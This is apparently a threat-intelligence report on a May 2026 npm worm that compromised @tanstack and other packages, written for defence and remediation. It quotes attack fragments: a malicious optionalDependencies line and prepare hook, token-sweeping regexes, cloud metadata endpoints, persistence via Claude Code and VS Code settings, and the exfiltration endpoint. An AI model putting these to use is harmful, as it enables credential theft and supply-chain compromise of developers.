Supply Chain Threat Intelligence

Shai-Hulud Strikes the TanStack Ecosystem: 160+ NPM Packages Compromised

A Sandworm Returns to the NPM Registry

On 11 May 2026, attackers published more than 160 trojanized package versions across the npm registry in a coordinated supply-chain operation that researchers are tracking as the latest iteration of the Shai-Hulud worm family. The wave began inside the @tanstack namespace — including @tanstack/react-router, a library that draws over 12 million weekly downloads — and quickly spilled into the @uipath, @squawk, @tallyui, @mistralai and a long tail of other namespaces as the worm replicated through maintainer-owned packages.

The implant hunts for GitHub Actions secrets, npm publish tokens, cloud provider credentials and SSH keys on every developer machine or CI runner that pulls in an affected version. This marks the fifth Shai-Hulud wave in roughly eight months and the second “Mini Shai-Hulud” campaign in two weeks — only twelve days after the SAP-targeted incident on 29 April 2026.

How the Compromise Was Discovered

TanStack maintainer Tanner Linsley confirmed the root cause publicly: the operator never logged into a maintainer account. Instead, they abused a subtle quirk in how GitHub stores commit objects across forks, combined with an overly permissive npm OIDC trust policy, to obtain a legitimate short-lived publish token. From there, they pushed poisoned versions through the project's real release pipeline — which is why the resulting packages look entirely normal to npm and to most dependency scanners.

Technical Analysis

TanStack publishes packages through npm's OIDC trusted publishing flow, the modern best practice that removes the need to store any long-lived NPM_TOKEN in CI. Two-factor authentication was enforced on every contributor account. Despite both controls, the attacker walked away with a valid OIDC-minted publish token. Here is how.

The Orphaned-Commit-Through-a-Fork Trick

The operator used a compromised GitHub identity (voicproducoes, account ID 269549300, registered on 19 March 2026) to fork the upstream TanStack/router repository on 10 May 2026. They then pushed a single orphaned commit — 79ac49eedf774dd4b0cfa308722bc463cfe5885c — into that fork. An orphan commit has no parent and is not attached to any branch in the tree, which means it slips past every branch-protection rule the upstream repository has configured.

The trick works because GitHub deduplicates Git objects across a repository and all of its forks. Once that commit object exists in the fork, it is also reachable via the upstream repository's URL — including via github: dependency references in npm and via GitHub Actions workflow dispatches that target a SHA directly.

The Two Files Inside the Orphan Commit

The malicious commit introduced only two files:

• A package.json declaring a package called @tanstack/setup with a prepare lifecycle hook: bun run tanstack_runner.js && exit 1.
• A bundled, heavily obfuscated tanstack_runner.js payload (2,339,346 bytes).

Each compromised release then carried this entry inside its package.json:

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}

When npm resolves a github: reference, it shallow-clones the commit and dutifully runs lifecycle hooks — including prepare. That single line caused the runner script to execute on every developer machine and CI worker that installed any of the affected packages.

Why Provenance Did Not Save Anyone

The orphan commit was simultaneously used to trigger a workflow run inside the legitimate tanstack/router Actions surface. Because the project's OIDC trust policy was scoped to the repository rather than to a specific workflow file on a protected branch, the workflow could request and receive a fully valid short-lived npm publish token. The attacker used that token to push all 84 poisoned @tanstack/* versions, each accompanied by a genuine SLSA provenance attestation signed by npm's Sigstore infrastructure.

The hardened configuration pins trust to both a workflow file and a branch ref:

# Vulnerable — repository-wide trust
Repository: tanstack/router

# Hardened — pinned workflow + branch
Repository: tanstack/router
Workflow:   .github/workflows/release.yml
Branch:     refs/heads/main

Inside the Payload: router_init.js

Each compromised package ships an additional file — router_init.js, weighing in at 2,341,681 bytes — produced with the familiar javascript-obfuscator toolchain: rotating string arrays, hex-encoded identifier lookups (_0x253b…), control-flow flattening through while(!![]) state machines and dead-code padding. The structure matches every other Mini Shai-Hulud sample published to date.

A two-stage string protection layer hides almost everything of value: a beautify() routine performs an initial decode pass over the hex-named string array, and a second function (w8()) decrypts the result with AES-256-GCM (12-byte IV, 16-byte auth tag) and gunzip-decompresses the plaintext. Researchers have catalogued 396 unique encrypted constants covering domain names, URL paths, regular expressions, file paths, command strings and runtime endpoint identifiers.

The script imports Node's generateKeyPairSync and sign primitives — used not only to encrypt outbound traffic, but also to forge npm package manifests and submit Sigstore provenance attestations while the worm propagates.

Execution Flow

The malicious prepare hook fires bun run tanstack_runner.js && exit 1 — the trailing exit 1 is intentional. By exiting non-zero, npm logs the install as a script failure rather than success, which keeps the noise low while the implant has already executed.

The first action the payload takes is to inspect process.env.__DAEMONIZED. If that variable is missing, the process re-launches itself as a detached child with stdio: ['ignore','ignore','ignore'] and unref(), severing the lifecycle so the original npm install can finish cleanly while the worm continues in the background.

It then fingerprints its environment by reading GITHUB_REPOSITORY, GITHUB_REPOSITORY_ID, GITHUB_SERVER_URL, GITHUB_WORKFLOW_REF, GITHUB_EVENT_NAME and RUNNER_OS to detect a GitHub Actions runner; selects platform-specific code paths via process.platform; performs an npms.io reachability probe (search?q=ponyfill); and runs an internal function the deobfuscation team labelled Ij() that compares the current workflow against an embedded target list to decide whether the host is worth replicating from.

Credential Harvesting

Ten dedicated collectors run in parallel. The confirmed targets:

• GitHub Actions context — every GITHUB_* and RUNNER_* variable, plus the ACTIONS_ID_TOKEN_REQUEST_TOKEN / ACTIONS_ID_TOKEN_REQUEST_URL pair, which lets the implant mint a fresh OIDC ID token at runtime rather than relying only on what is already in the environment.
• GitHub API — authenticated GET /repos/<owner>/<repo>/actions/secrets?per_page=100 to enumerate stored Actions secrets.
• In-memory and on-disk token sweeping using two regular expressions:

  /ghs_\d+_[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g  // new JWT-form ghs tokens
  /ghs_[A-Za-z0-9]{36,}/g                                       // legacy ghs format

• npm credentials — ~/.npmrc and any npm-related environment variable.
• AWS — AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_REGION, AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE; IMDSv2 acquisition against http://169.254.169.254/latest/api/token; ECS task metadata at http://169.254.170.2; and a per-region sweep of Secrets Manager and SSM Parameter Store across the entire account.
• HashiCorp Vault — VAULT_TOKEN, VAULT_AUTH_TOKEN, VAULT_ADDR, plus a cluster-internal probe against vault.svc.cluster.local:8200.
• Kubernetes — the standard service account mounts at /var/run/secrets/kubernetes.io/serviceaccount/token and /ca.crt. Whatever RBAC the pod has, the implant inherits.
• GCP and Azure path lists are referenced behind the encrypted string array but were not fully enumerated in the public analysis — treat them as in-scope.

Persistence on Developer Machines

When the worm detects it is running on a workstation rather than CI, it drops persistence files into the project tree — outside node_modules, so a routine reinstall does not clean them up:

• .claude/router_runtime.js — a copy of the payload
• .claude/settings.json — Claude Code hooks pointing at the copy
• .claude/setup.mjs — ESM loader shim
• .vscode/tasks.json — task with "runOn": "folderOpen" that fires whenever the workspace is reopened
• .vscode/setup.mjs — second ESM loader shim

Self-Replication

Every harvested GitHub token is funneled through a class the analysis team named tq:

1. Query npms.io to discover packages owned by the token's user.
2. For each candidate package, repackage the tarball (.tgz and tar.zst) with router_init.js bundled inside.
3. Publish the modified package using the ambient OIDC token of the host CI workflow (id-token: write permission). When the workflow's OIDC scope is broad enough, the worm bypasses the workflow's own publish step entirely and calls npm's publish endpoint directly with a freshly minted token.
4. Submit a Sigstore provenance attestation to the transparency log so the malicious version arrives with a valid provenance badge — exactly the trick that produced the original 84 @tanstack/* versions.

A parallel propagation channel uses harvested tokens against GitHub's GraphQL createCommitOnBranch mutation, committing copies of the payload directly into victim repositories. These commits are spoofed to appear authored by claude@users.noreply.github.com, impersonating the Claude Code GitHub App.

Exfiltration

Stolen credentials are routed through three sender classes — networkSender, fileSender and fallbackSender — with a buffered dispatcher that flushes at 0x19000 (102,400) bytes. The primary egress channel is filev2.getsession[.]org/file/, transported over the Session P2P snode network using an embedded signalservice protobuf stack. On the wire it looks like end-to-end-encrypted messaging on TCP/443 — there is no traditional C2 hostname or IP to block, and Session traffic is indistinguishable from legitimate use at the network layer.

The shift from the previous wave's GitHub-as-C2 model to Session deliberately removes most of the GitHub-side observability defenders had relied upon. Each bundle is encrypted with AES-256-GCM, gzip-compressed and framed inside the Session message format, after which the implant deletes its temp files and silently calls process.exit(0).

Connection to Earlier Shai-Hulud Waves

The SAP and TanStack waves share the same dead-drop description string, the same Dune-themed naming convention on attacker-controlled repositories, and a matching obfuscation family. That points to a single operator — though full toolchain attribution awaits completion of the ongoing deobfuscation work. Two trends across the campaign arc stand out: the package count is still growing (4 → 84 → 160+), and the delivery technique is escalating — from stolen static tokens, to OIDC misuse via branch pushes, and now to the orphan-commit-through-a-fork primitive that bypasses branch protection entirely.

Full List of Compromised Packages

The table below enumerates every package and version range identified in the campaign as of the time of writing. If you depend on any of these — directly or transitively — assume compromise.

Total entries listed: 169. Range notation (e.g. 0.1.2 – 0.1.17) covers every patch in between inclusive.

Indicators of Compromise

File Indicators

SHA-256 Hashes

Repository & Git Indicators

• Any optionalDependencies entry referencing github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c — definitive indicator.
• Activity from GitHub account voicproducoes (ID 269549300, created 19 March 2026).
• The fork voicproducoes/router created on 10 May 2026 — origin of the orphan commit.
• Worm-marker repositories such as siridar-ghola-567 and tleilaxu-ornithopter-43.
• Any GitHub repo whose description reads "A Mini Shai-Hulud has Appeared".
• Commits authored by claude@users.noreply.github.com that you did not make — spoofed Claude Code App identity used for worm propagation.

Network Indicators

• Any outbound traffic to filev2.getsession[.]org/file/ — primary exfiltration channel over Session P2P.
• Unexpected fetches of github.com/oven-sh/bun/releases/download/bun-v1.3.13/ during npm install. The payload requires Bun.gunzipSync(), so a Bun runtime download mid-install is highly anomalous for most pipelines.

Detection & Remediation

Immediate Actions

Hunt for the malicious payload files and persistence artefacts:

# Look for the dropped payload files
find . -name "router_init.js" -size +1M
find . -name "tanstack_runner.js"

# Hunt persistence artefacts
find . -path "*/.claude/settings.json" \
       -o -path "*/.claude/router_runtime.js" \
       -o -path "*/.claude/setup.mjs"
find . -path "*/.vscode/tasks.json" | xargs grep -l "folderOpen" 2>/dev/null
find . -path "*/.vscode/setup.mjs"

# Check for the malicious optional dependency
grep -r "79ac49eedf774dd4b0cfa308722bc463cfe5885c" \
     node_modules/ package-lock.json 2>/dev/null

If your npm token had publish rights, audit every package you maintain for unexpected versions published on or after 11 May 2026, paying particular attention to commits authored by claude@users.noreply.github.com. Block outbound traffic to filev2.getsession[.]org at the egress layer and review recent flow logs for any matches.

Long-Term Hardening

• Commit and install from lockfiles. Treat changes to package-lock.json, yarn.lock or pnpm-lock.yaml as code, surfacing every new version in a PR diff. Use strict installs everywhere: npm ci, yarn install --frozen-lockfile, pnpm install --frozen-lockfile.
• Force --ignore-scripts in CI installs. npm ci --ignore-scripts disables preinstall, postinstall and prepare hooks — the delivery vehicle for every Shai-Hulud variant. Single highest-leverage control available today.
• Pin OIDC trusted publishing to a specific workflow file and a specific protected branch. Repository-wide trust is what the TanStack attacker monetised; pinning to refs/heads/main plus .github/workflows/release.yml closes the surface.
• Treat orphan commits — and any commit reachable only via a fork — as a threat indicator. An unparented commit that introduces only a package.json and a bundled payload should trigger an investigation before any workflow processes it.
• Do not treat npm provenance as a standalone control. Both this incident and the SAP wave produced packages with valid provenance from authorised CI runs. Provenance narrows the attack surface — it does not eliminate it. OIDC scope-pinning is the companion control that gives provenance teeth.
• Alert on Bun downloads at install time. A bun-v1.3.13 fetch during npm install is anomalous in most pipelines and is a high-confidence trigger for this campaign.
• Audit optionalDependencies across your direct and transitive graph. Many static analysis tools focus on dependencies and devDependencies and miss this field entirely.

Final Thoughts

A Mini Shai-Hulud is still a sandworm — and each iteration is bigger and technically sharper than the last. Four SAP packages became 84 TanStack packages became 160+ within twelve days. The attack vector has marched from stolen static tokens, through OIDC abuse via branch pushes, all the way to orphan commits travelling through forks; and the exfiltration channel has migrated from GitHub itself to the Session P2P network, stripping defenders of a meaningful slice of observability.

The TanStack team had 2FA on every account. It did not matter. The attacker did not need a maintainer's credentials at all — only the ability to push to a fork and an OIDC scope that was a few lines too generous. The lesson is not "use OIDC" or "use provenance". It is scope every trust relationship to the absolute minimum: the workflow file, the branch, the script hooks, the lifecycle surface. That is the control that turns this class of attack from a one-line dependency edit back into hard work.

The worm is iterating. Defenders have to iterate faster.